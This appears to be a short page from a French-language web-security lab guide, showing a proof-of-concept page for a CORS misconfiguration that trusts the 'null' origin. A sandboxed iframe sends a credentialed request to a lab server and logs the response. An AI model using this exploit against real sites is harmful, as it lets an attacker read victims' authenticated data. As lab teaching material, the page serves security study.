Application Trust "null" Origin

<html>
<head>
<title>CORS vulnerable lab - Null Origin</title>
</head>
<body>
<iframe src="data:text/html,
<script>
var xhr=new XMLHttpRequest();
xhr.open('GET', 'http://192.168.56.184/null_origin.php', true);
xhr.withCredentials = true;
xhr.onreadystatechange = function() {
if (this.readyState === XMLHttpRequest.DONE && this.status === 200) {
console.log(xhr.response);
}};
xhr.send();
</script>">
</iframe>
</body>
</html>

PrécédentApplication has bad "regex" Implementation to check Trusted OriginSuivantDamn Vulnerable Web Application (DVWA)
Mis à jour